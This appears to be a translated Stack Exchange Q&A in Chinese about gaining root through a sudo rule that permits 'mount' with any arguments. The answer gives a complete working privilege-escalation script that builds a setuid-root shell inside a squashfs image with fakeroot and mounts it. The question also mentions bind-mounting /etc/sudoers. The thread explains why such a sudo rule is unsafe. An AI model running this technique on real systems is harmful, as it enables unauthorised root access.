是否可以挂载具有不同所有权/权限的文件?

是否可以挂载具有不同所有权/权限的文件?

我一直在尝试使用 mount 命令进行权限升级,并且想知道是否可以创建 root 拥有的 suid 文件,而无需访问任何外部设备。即我正在尝试找到一种方法来执行以下操作:

  1. 将 mount /bin/bash 绑定到另一个文件,以便我可以在其上设置 suid 位(并在卸载后以某种方式保留它)。或者将 /bin/bash 的 suid 用户副本绑定挂载到 root 拥有的文件。

  2. 挂载一个 squashfs、.iso 或其他现有文件系统,其中包含通常由 root 拥有的文件(例如:来自 ubuntu .iso 映像的 filesystem.squashfs),以便我可以在它们上设置 suid 位。

设置如下:

  1. 允许使用任何参数的 sudo mount
  2. 无法从其他设备获取 root suid 文件到计算机上

我知道我可以通过绑定安装 /etc/group、/etc/sudoers 等轻松获得 root 权限,但想知道是否可以使用其他方法,特别是在无需访问任何外部计算机的情况下创建 root suid 文件的任何方法(或虚拟机)。

答案1

您规定允许您使用任何参数运行 sudo mount。在这种情况下,除非我误解了你的问题,否则获得 root 访问权限似乎非常容易:只需创建一个包含 setuid-root 二进制文件的磁盘映像并使用sudo mount -o loop!毕竟,任何人都可以创建磁盘映像,它只是字节......

为了证明这一点,这里有一个超级简单的 shell 脚本可以做到这一点:

#!/bin/sh

# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
    execl("/bin/sh", "sh", NULL);
    return 1;
}
EOF

# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc

# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint 

运行后,您只需运行即可获得 root shell mountpoint/runsh

如果您没有必要的工具fakerootmksquashfs那么您可以简单地安装它们,它们的源代码是免费提供的。如果您不能这样做,那么您可以提前在其他地方创建映像并将其复制到相关系统上。如果情况变得更糟,您甚至可以对图像进行 Base 64 编码并将其粘贴到命令行!在我的系统上,上面的脚本生成一个压缩后只有 2600 字节的图像(多么有趣的巧合啊,它应该正是这个数字!),我确信只需一点点工作就可以将其变得更小。在过去(主要是 20 世纪 80 年代),人们习惯于手动输入比从编程杂志转录的数据更大的数据块。

相关内容